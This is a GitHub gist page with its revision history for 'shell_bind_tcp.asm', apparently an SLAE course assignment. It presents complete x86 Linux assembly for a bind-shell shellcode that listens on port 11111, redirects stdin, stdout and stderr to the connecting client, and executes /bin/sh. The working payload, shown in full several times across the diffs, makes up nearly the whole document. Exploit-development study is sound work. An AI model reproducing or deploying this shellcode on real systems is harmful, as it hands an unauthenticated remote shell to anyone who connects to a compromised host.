Skip to content

Instantly share code, notes, and snippets.

@geyslan

geyslan/shell_bind_tcp.asm

Last active October 7, 2023 10:00
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save geyslan/5174296 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save geyslan/5174296 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. geyslan revised this gist May 26, 2018. No changes.
  2. geyslan revised this gist Mar 16, 2013. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion shell_bind_tcp.asm
    View file
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    ; The original file of this snippet is in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.asm
    ; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.asm

    global _start

  3. geyslan revised this gist Mar 16, 2013. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion shell_bind_tcp.asm
    View file
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    ; The updated version of this file is in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.asm
    ; The original file of this snippet is in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.asm

    global _start

  4. geyslan revised this gist Mar 16, 2013. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions shell_bind_tcp.asm
    View file
    Original file line number Diff line number Diff line change
    @@ -106,7 +106,7 @@ _start:
    mov edx, eax ; saving the returned socket fd (client)


    ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, errno)
    ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
    ; int dup2(int oldfd, int newfd);
    ; dup2(clientfd, ...)

    @@ -122,7 +122,7 @@ _start:
    int 0x80

    mov eax, 63
    mov ecx, 2 ; errno file descriptor
    mov ecx, 2 ; stderr file descriptor

    int 0x80

  5. geyslan revised this gist Mar 16, 2013. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions shell_bind_tcp.asm
    View file
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,5 @@
    ; The updated version of this file is in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.asm

    global _start

    section .text
  6. geyslan revised this gist Mar 16, 2013. 1 changed file with 87 additions and 87 deletions.
    174 changes: 87 additions & 87 deletions shell_bind_tcp.asm
    View file
    Original file line number Diff line number Diff line change
    @@ -4,140 +4,140 @@ section .text

    _start:

    ; syscalls (/usr/include/asm/unistd_32.h)
    ; socketcall numbers (/usr/include/linux/net.h)
    ; syscalls (/usr/include/asm/unistd_32.h)
    ; socketcall numbers (/usr/include/linux/net.h)

    ; Creating the socket file descriptor
    ; int socket(int domain, int type, int protocol);
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    ; Creating the socket file descriptor
    ; int socket(int domain, int type, int protocol);
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)

    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 1 ; socketcall type (sys_socket 1)
    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 1 ; socketcall type (sys_socket 1)

    ; socket arguments (bits/socket.h, netinet/in.h)
    push 0 ; IPPROTO_IP = 0 (int)
    push 1 ; SOCK_STREAM = 1 (int)
    push 2 ; AF_INET = 2 (int)
    ; socket arguments (bits/socket.h, netinet/in.h)
    push 0 ; IPPROTO_IP = 0 (int)
    push 1 ; SOCK_STREAM = 1 (int)
    push 2 ; AF_INET = 2 (int)

    mov ecx, esp ; ptr to argument array
    mov ecx, esp ; ptr to argument array

    int 0x80 ; kernel interruption
    int 0x80 ; kernel interruption

    mov edx, eax ; saving the returned socket file descriptor
    mov edx, eax ; saving the returned socket file descriptor


    ; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened
    ; this problem happens in most shellcodes, even in the Metasploit, because they do not care
    ; about the reuse of the socket address
    ; int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
    ; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &socklen_t, socklen_t)
    ; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened
    ; this problem happens in most shellcodes, even in the Metasploit, because they do not care
    ; about the reuse of the socket address
    ; int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
    ; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &socklen_t, socklen_t)

    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 14 ; socketcall type (sys_setsockopt 14)
    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 14 ; socketcall type (sys_setsockopt 14)

    push 4 ; sizeof socklen_t
    push esp ; address of socklen_t - on the stack
    push 2 ; SO_REUSEADDR = 2
    push 1 ; SOL_SOCKET = 1
    push edx ; sockfd
    push 4 ; sizeof socklen_t
    push esp ; address of socklen_t - on the stack
    push 2 ; SO_REUSEADDR = 2
    push 1 ; SOL_SOCKET = 1
    push edx ; sockfd

    mov ecx, esp ; ptr to argument array
    mov ecx, esp ; ptr to argument array

    int 0x80 ; kernel interrupt
    int 0x80 ; kernel interrupt


    ; Biding the socket with an address type
    ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    ; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16)
    ; Biding the socket with an address type
    ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    ; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16)

    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 2 ; socketcall type (sys_bind 2)
    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 2 ; socketcall type (sys_bind 2)

    ; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h)
    push 0 ; INADDR_ANY = 0 (uint32_t)
    push WORD 0x672b ; port in byte reverse order = 11111 (uint16_t)
    push WORD 2 ; AF_INET = 2 (unsigned short int)
    mov ecx, esp ; struct pointer
    ; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h)
    push 0 ; INADDR_ANY = 0 (uint32_t)
    push WORD 0x672b ; port in byte reverse order = 11111 (uint16_t)
    push WORD 2 ; AF_INET = 2 (unsigned short int)
    mov ecx, esp ; struct pointer

    ; bind arguments (sys/socket.h)
    push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t)
    push ecx ; sockaddr_in struct pointer (struct sockaddr *)
    push edx ; socket fd (int)
    ; bind arguments (sys/socket.h)
    push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t)
    push ecx ; sockaddr_in struct pointer (struct sockaddr *)
    push edx ; socket fd (int)

    mov ecx, esp ; ptr to argument array
    mov ecx, esp ; ptr to argument array

    int 0x80 ; kernel interrruption
    int 0x80 ; kernel interrruption


    ; Preparing to listen the incoming connection (passive socket)
    ; int listen(int sockfd, int backlog);
    ; listen(sockfd, 0);
    ; Preparing to listen the incoming connection (passive socket)
    ; int listen(int sockfd, int backlog);
    ; listen(sockfd, 0);

    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 4 ; socketcall type (sys_listen 4)
    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 4 ; socketcall type (sys_listen 4)

    ; listen arguments
    push 0 ; backlog (connections queue size)
    push edx ; socket fd
    ; listen arguments
    push 0 ; backlog (connections queue size)
    push edx ; socket fd

    mov ecx, esp ; ptr to argument array
    mov ecx, esp ; ptr to argument array

    int 0x80 ; kernel interruption
    int 0x80 ; kernel interruption


    ; Accepting the incoming connection
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; accept(sockfd, NULL, NULL)
    ; Accepting the incoming connection
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; accept(sockfd, NULL, NULL)

    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 5 ; socketcall type (sys_accept 5)
    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 5 ; socketcall type (sys_accept 5)

    ; accept arguments
    push 0 ; NULL - we don't need to know anything about the client
    push 0 ; NULL - we don't need to know anything about the client
    push edx ; socket fd
    ; accept arguments
    push 0 ; NULL - we don't need to know anything about the client
    push 0 ; NULL - we don't need to know anything about the client
    push edx ; socket fd

    mov ecx, esp ; ptr to argument array
    mov ecx, esp ; ptr to argument array

    int 0x80 ; kernel interruption
    int 0x80 ; kernel interruption

    mov edx, eax ; saving the returned socket fd (client)
    mov edx, eax ; saving the returned socket fd (client)


    ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, errno)
    ; int dup2(int oldfd, int newfd);
    ; dup2(clientfd, ...)
    ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, errno)
    ; int dup2(int oldfd, int newfd);
    ; dup2(clientfd, ...)

    mov eax, 63 ; syscall 63 - dup2
    mov ebx, edx ; oldfd (client socket fd)
    mov ecx, 0 ; stdin file descriptor
    mov eax, 63 ; syscall 63 - dup2
    mov ebx, edx ; oldfd (client socket fd)
    mov ecx, 0 ; stdin file descriptor

    int 0x80 ; kernel interruption
    int 0x80 ; kernel interruption

    mov eax, 63
    mov ecx, 1 ; stdout file descriptor
    mov ecx, 1 ; stdout file descriptor

    int 0x80

    mov eax, 63
    mov ecx, 2 ; errno file descriptor
    mov ecx, 2 ; errno file descriptor

    int 0x80


    ; Finally, using execve to substitute the actual process with /bin/sh
    ; int execve(const char *filename, char *const argv[], char *const envp[]);
    ; exevcve("/bin/sh", NULL, NULL)
    ; Finally, using execve to substitute the actual process with /bin/sh
    ; int execve(const char *filename, char *const argv[], char *const envp[]);
    ; exevcve("/bin/sh", NULL, NULL)

    mov eax, 11 ; execve syscall
    mov eax, 11 ; execve syscall

    ; execve string argument
    push 0 ; null byte
    push 0x68732f2f ; "//sh"
    push 0x6e69622f ; "/bin"
    ; execve string argument
    push 0 ; null byte
    push 0x68732f2f ; "//sh"
    push 0x6e69622f ; "/bin"

    mov ebx, esp ; ptr to "/bin//sh" string
    mov ecx, 0 ; null ptr to argv
    mov edx, 0 ; null ptr to envp
    mov ebx, esp ; ptr to "/bin//sh" string
    mov ecx, 0 ; null ptr to argv
    mov edx, 0 ; null ptr to envp

    int 0x80 ; bingo
    int 0x80 ; bingo
  7. geyslan created this gist Mar 16, 2013.
    143 changes: 143 additions & 0 deletions shell_bind_tcp.asm
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,143 @@
    global _start

    section .text

    _start:

    ; syscalls (/usr/include/asm/unistd_32.h)
    ; socketcall numbers (/usr/include/linux/net.h)

    ; Creating the socket file descriptor
    ; int socket(int domain, int type, int protocol);
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)

    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 1 ; socketcall type (sys_socket 1)

    ; socket arguments (bits/socket.h, netinet/in.h)
    push 0 ; IPPROTO_IP = 0 (int)
    push 1 ; SOCK_STREAM = 1 (int)
    push 2 ; AF_INET = 2 (int)

    mov ecx, esp ; ptr to argument array

    int 0x80 ; kernel interruption

    mov edx, eax ; saving the returned socket file descriptor


    ; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened
    ; this problem happens in most shellcodes, even in the Metasploit, because they do not care
    ; about the reuse of the socket address
    ; int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
    ; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &socklen_t, socklen_t)

    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 14 ; socketcall type (sys_setsockopt 14)

    push 4 ; sizeof socklen_t
    push esp ; address of socklen_t - on the stack
    push 2 ; SO_REUSEADDR = 2
    push 1 ; SOL_SOCKET = 1
    push edx ; sockfd

    mov ecx, esp ; ptr to argument array

    int 0x80 ; kernel interrupt


    ; Biding the socket with an address type
    ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    ; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16)

    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 2 ; socketcall type (sys_bind 2)

    ; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h)
    push 0 ; INADDR_ANY = 0 (uint32_t)
    push WORD 0x672b ; port in byte reverse order = 11111 (uint16_t)
    push WORD 2 ; AF_INET = 2 (unsigned short int)
    mov ecx, esp ; struct pointer

    ; bind arguments (sys/socket.h)
    push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t)
    push ecx ; sockaddr_in struct pointer (struct sockaddr *)
    push edx ; socket fd (int)

    mov ecx, esp ; ptr to argument array

    int 0x80 ; kernel interrruption


    ; Preparing to listen the incoming connection (passive socket)
    ; int listen(int sockfd, int backlog);
    ; listen(sockfd, 0);

    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 4 ; socketcall type (sys_listen 4)

    ; listen arguments
    push 0 ; backlog (connections queue size)
    push edx ; socket fd

    mov ecx, esp ; ptr to argument array

    int 0x80 ; kernel interruption


    ; Accepting the incoming connection
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; accept(sockfd, NULL, NULL)

    mov eax, 102 ; syscall 102 - socketcall
    mov ebx, 5 ; socketcall type (sys_accept 5)

    ; accept arguments
    push 0 ; NULL - we don't need to know anything about the client
    push 0 ; NULL - we don't need to know anything about the client
    push edx ; socket fd

    mov ecx, esp ; ptr to argument array

    int 0x80 ; kernel interruption

    mov edx, eax ; saving the returned socket fd (client)


    ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, errno)
    ; int dup2(int oldfd, int newfd);
    ; dup2(clientfd, ...)

    mov eax, 63 ; syscall 63 - dup2
    mov ebx, edx ; oldfd (client socket fd)
    mov ecx, 0 ; stdin file descriptor

    int 0x80 ; kernel interruption

    mov eax, 63
    mov ecx, 1 ; stdout file descriptor

    int 0x80

    mov eax, 63
    mov ecx, 2 ; errno file descriptor

    int 0x80


    ; Finally, using execve to substitute the actual process with /bin/sh
    ; int execve(const char *filename, char *const argv[], char *const envp[]);
    ; exevcve("/bin/sh", NULL, NULL)

    mov eax, 11 ; execve syscall

    ; execve string argument
    push 0 ; null byte
    push 0x68732f2f ; "//sh"
    push 0x6e69622f ; "/bin"

    mov ebx, esp ; ptr to "/bin//sh" string
    mov ecx, 0 ; null ptr to argv
    mov edx, 0 ; null ptr to envp

    int 0x80 ; bingo